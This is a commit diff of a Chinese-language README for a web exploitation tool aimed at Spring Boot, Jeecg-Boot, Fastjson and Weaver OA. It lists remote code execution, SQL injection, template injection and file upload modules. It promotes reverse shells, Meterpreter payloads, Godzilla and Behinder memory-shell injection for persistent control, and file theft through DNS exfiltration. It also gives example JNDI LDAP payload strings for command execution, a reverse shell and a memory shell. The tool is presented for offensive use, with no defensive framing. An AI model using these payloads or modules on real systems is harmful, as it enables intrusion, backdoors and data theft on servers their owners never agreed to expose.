Update README.md

Author: danran12

README.md

@@ -9,79 +9,160 @@
 
 ## 主要特性
 
-- **图形化界面**: 拥有直观的图形用户界面，操作简单。
-- **模块化设计**: 所有漏洞利用都以模块形式存在，方便添加新的漏洞利用代码。
-- **多语言支持**: 内置中英文双语，可随时切换。
-- **自定义主题**: 支持浅色、深色和IntelliJ等多种UI主题。
-- **代理支持**: 支持设置全局HTTP代理和调试代理（如Burp Suite），方便流量分析。
-- **一键式扫描**: 针对特定框架（如Jeecg、Fastjson）提供了一键式批量漏洞扫描功能。
-- **高级利用功能**: 针对Fastjson漏洞，提供了高级JNDI利用、文件读写、内存马注入等深度利用功能。
+* **图形化界面**: 拥有直观的图形用户界面，操作简单。
+* **模块化设计**: 所有漏洞利用都以模块形式存在，方便添加新的漏洞利用代码。
+* **多语言支持**: 内置中英文双语，可随时切换。
+* **自定义主题**: 支持浅色、深色和IntelliJ等多种UI主题。
+* **代理支持**: 支持设置全局HTTP代理和调试代理（如Burp Suite），方便流量分析。
+* **一键式扫描**: 针对特定框架（如Jeecg、Spring Boot）提供了一键式批量漏洞扫描功能。
+* **高级利用功能**: 针对JNDI漏洞，提供了高级JNDI利用、内存马注入等深度利用功能。
 
 ## 已集成漏洞模块
 
 工具目前集成了以下漏洞利用模块：
 
-### 泛微 (Weaver OA)
-- `前台登录绕过 + 后台组合拳RCE`
+### Spring Boot
+
+* **H2 Console JNDI RCE**: H2数据库控制台JNDI注入远程代码执行
+* **H2 Query RCE**: H2数据库查询远程代码执行
+* **Jolokia JNDI RCE**: Jolokia监控端点JNDI注入
+* **Jolokia Get Property**: Jolokia属性获取
+* **SpEL RCE**: Spring表达式语言远程代码执行
+* **SnakeYAML RCE**: SnakeYAML反序列化远程代码执行
+* **Groovy RCE**: Groovy脚本远程代码执行
+* **Swagger信息泄露**: Swagger API文档信息泄露
+* **Actuator端点**: Spring Boot Actuator端点利用
+* **Logview目录遍历**: Logview组件目录遍历
+* **Eureka OAST**: Eureka服务发现OAST检测
+* **Heapdump下载**: 内存转储文件下载
 
 ### Jeecg-Boot
-- **全漏洞扫描** (`jeecg-all`)
-- **远程命令执行 (RCE)**
-    - `Jeecg-Boot: AviatorScript RCE`
-    - `Jeecg-Boot: jmreport/testConnection RCE`
-    - `Jeecg-Boot: sysMessageTemplate/sendMsg Ftl RCE`
-- **SQL注入 (SQL Injection)**
-    - `Jeecg-Boot: onlDragDatasetHead/getTotalData SQL注入`
-    - `Jeecg-Boot: jmreport/qurestSql SQL注入`
-    - `Jeecg-Boot: jmreport/show 注入 (v3.5.0-3.5.1)`
-    - `Jeecg-Boot: /sys/api/getDictItems SQL注入`
-    - `Jeecg-Boot: getDictItemsByTable SQL Injection`
-    - `Jeecg-Boot: sys/duplicate/check SQL Injection`
-    - `Jeecg-Boot: /sys/dict/queryTableData SQL注入`
-- **模板注入 (SSTI)**
-    - `Jeecg-Boot: JmReport SSTI RCE`
-    - `Jeecg-Boot: /jmreport/loadTableData Freemarker SSTI`
-- **JNDI注入 (JNDI Injection)**
-    - `Jeecg-Boot: jeecgFormDemoController.do JNDI注入`
-    - `Jeecg-Boot: JNDI Injection (Auto-Verify)`
-- **文件上传 (File Upload)**
-    - `jeecg-boot/jmreport/upload 任意文件上传`
-    - `Jeecg-Boot: commonController.do 任意文件上传`
-    - `Jeecg-commonController.do parserXml 文件上传`
-- **其他漏洞**
-    - `Jeecg-Boot: 任意文件读取`
-    - `Jeecg-Boot: 未授权访问-用户列表`
-    - `JeecgBoot: Arbitrary Password Reset`
-    - `Jeecg-Boot: 未授权访问检测`
+
+* **全漏洞扫描** (`jeecg-all`)
+* **远程命令执行 (RCE)**  
+   * `Jeecg-Boot: AviatorScript RCE`  
+   * `Jeecg-Boot: jmreport/testConnection RCE`  
+   * `Jeecg-Boot: sysMessageTemplate/sendMsg Ftl RCE`
+* **SQL注入 (SQL Injection)**  
+   * `Jeecg-Boot: onlDragDatasetHead/getTotalData SQL注入`  
+   * `Jeecg-Boot: jmreport/qurestSql SQL注入`  
+   * `Jeecg-Boot: jmreport/show 注入 (v3.5.0-3.5.1)`  
+   * `Jeecg-Boot: /sys/api/getDictItems SQL注入`  
+   * `Jeecg-Boot: getDictItemsByTable SQL Injection`  
+   * `Jeecg-Boot: sys/duplicate/check SQL Injection`  
+   * `Jeecg-Boot: /sys/dict/queryTableData SQL注入`
+* **模板注入 (SSTI)**  
+   * `Jeecg-Boot: JmReport SSTI RCE`  
+   * `Jeecg-Boot: /jmreport/loadTableData Freemarker SSTI`
+* **JNDI注入 (JNDI Injection)**  
+   * `Jeecg-Boot: jeecgFormDemoController.do JNDI注入`  
+   * `Jeecg-Boot: JNDI Injection (Auto-Verify)`
+* **文件上传 (File Upload)**  
+   * `jeecg-boot/jmreport/upload 任意文件上传`  
+   * `Jeecg-Boot: commonController.do 任意文件上传`  
+   * `Jeecg-commonController.do parserXml 文件上传`
+* **其他漏洞**  
+   * `Jeecg-Boot: 任意文件读取`  
+   * `Jeecg-Boot: 未授权访问-用户列表`  
+   * `JeecgBoot: Arbitrary Password Reset`  
+   * `Jeecg-Boot: 未授权访问检测`
 
 ### 通用组件 (Generic)
 
 #### Fastjson (All-in-One)
 
 本工具集成了针对 Fastjson 反序列化漏洞的强大利用能力，覆盖从检测到深度利用的全过程。
 
--   **智能漏洞扫描**:
-    -   内置数十种主流及WAF绕过Payload。
-    -   利用DNSLog (Ceye.io) 进行精准的盲注检测，自动发现可用的利用链。
-
--   **高级JNDI利用 (Intelligent Exploitation)**:
-    -   在漏洞扫描成功后，自动解锁高级利用面板。
-    -   **一键化回显**: 自动遍历多种主流中间件（Tomcat, SpringEcho, WeblogicEcho）的回显Payload，解决不同环境下命令执行无回显的痛点。
-    -   **反弹Shell/C2**: 支持生成原生反弹Shell和MSF Meterpreter的Payload，可直接与监听器配合使用。
-    -   **内存马注入**: 支持一键注入哥斯拉（Godzilla）和冰蝎（Behinder）内存马，实现对目标的持久化控制。
-
--   **文件操作**:
-    -   **任意文件写入**: 利用 `TemplatesImpl` 和 BCEL 动态编译技术，将任意内容写入目标服务器指定路径，并提供Web路径验证功能。
-    -   **任意文件读取**: 利用 BSH (Bean Scripting Host) 执行脚本，将目标文件内容进行Base64编码后，通过DNSLog带出，实现无回显下的文件读取。
+* **智能漏洞扫描**:  
+   * 内置数十种主流及WAF绕过Payload。  
+   * 利用DNSLog (Ceye.io) 进行精准的盲注检测，自动发现可用的利用链。
+* **高级JNDI利用 (Intelligent Exploitation)**:  
+   * 在漏洞扫描成功后，自动解锁高级利用面板。  
+   * **一键化回显**: 自动遍历多种主流中间件（Tomcat, SpringEcho, WeblogicEcho）的回显Payload，解决不同环境下命令执行无回显的痛点。  
+   * **反弹Shell/C2**: 支持生成原生反弹Shell和MSF Meterpreter的Payload，可直接与监听器配合使用。  
+   * **内存马注入**: 支持一键注入哥斯拉（Godzilla）和冰蝎（Behinder）内存马，实现对目标的持久化控制。
+* **文件操作**:  
+   * **任意文件写入**: 利用 `TemplatesImpl` 和 BCEL 动态编译技术，将任意内容写入目标服务器指定路径，并提供Web路径验证功能。  
+   * **任意文件读取**: 利用 BSH (Bean Scripting Host) 执行脚本，将目标文件内容进行Base64编码后，通过DNSLog带出，实现无回显下的文件读取。
+
+### 其他框架
+
+* **泛微OA**: 泛微OA绕过和RCE漏洞利用
+
+### 🔥 JNDIExploit-1.4-SNAPSHOT 集成
+
+最新版本集成了 **JNDIExploit-1.4-SNAPSHOT** 工具的高级功能：
+
+#### 支持的攻击向量
+* **Basic**: 基础JNDI注入
+* **Deserialization**: 反序列化利用
+* **TomcatBypass**: Tomcat绕过
+* **GroovyBypass**: Groovy绕过
+* **WebsphereBypass**: Websphere绕过
+
+#### 支持的绕过模式
+* **Command**: 命令执行
+* **ReverseShell**: 反向Shell
+* **TomcatEcho**: Tomcat回显
+* **SpringEcho**: Spring回显
+* **TomcatMemshell1/2/3**: Tomcat内存马
+* **GodzillaMemshell**: 哥斯拉内存马
+* **Meterpreter**: MSF Meterpreter
 
 ## 如何使用
 
-1.  **环境要求**: JRE/JDK >= 1.8
-2.  **下载**: 从本仓库的 [Releases](https://github.com/danran12/-web-exploit-tool/releases) 页面下载最新的 `web-exploit-tool.jar` 文件。
-3.  **运行**:
-    ```bash
-    java -jar web-exploit-tool.jar
-    ```
+1. **环境要求**: JRE/JDK >= 1.8
+2. **编译**: 
+   ```bash
+   mvn clean package -DskipTests
+   ```
+3. **运行**:  
+   ```bash
+   java -jar target/web-exploit-tool-1.0-SNAPSHOT-jar-with-dependencies.jar
+   ```
+
+## 配置说明
+
+### DNSLog配置
+在 `config.properties` 文件中配置Ceye.io DNSLog服务：
+```properties
+ceye.identifier=your-ceye-identifier
+ceye.token=your-ceye-token
+```
+
+### 代理配置
+在程序界面中配置HTTP代理：
+- 代理地址: 127.0.0.1
+- 代理端口: 8080
+
+## 使用示例
+
+### JNDIExploit高级模式使用
+
+1. **启用高级模式**: 勾选"启用 JNDIExploit-1.4-SNAPSHOT 高级模式"
+2. **配置服务器**: 设置JNDI服务器IP地址
+3. **选择攻击向量**: 选择Basic、Deserialization等攻击向量
+4. **选择绕过模式**: 选择Command、ReverseShell等绕过模式
+5. **配置参数**: 根据选择的模式配置相应参数
+6. **执行利用**: 点击执行按钮
+
+### 示例Payload
+
+#### 命令执行
+```
+ldap://127.0.0.1:1389/Basic/Command/whoami
+```
+
+#### 反向Shell
+```
+ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444
+```
+
+#### 内存马
+```
+ldap://127.0.0.1:1389/Basic/TomcatMemshell1//ateam/pass1024
+```
+
 
 ## 贡献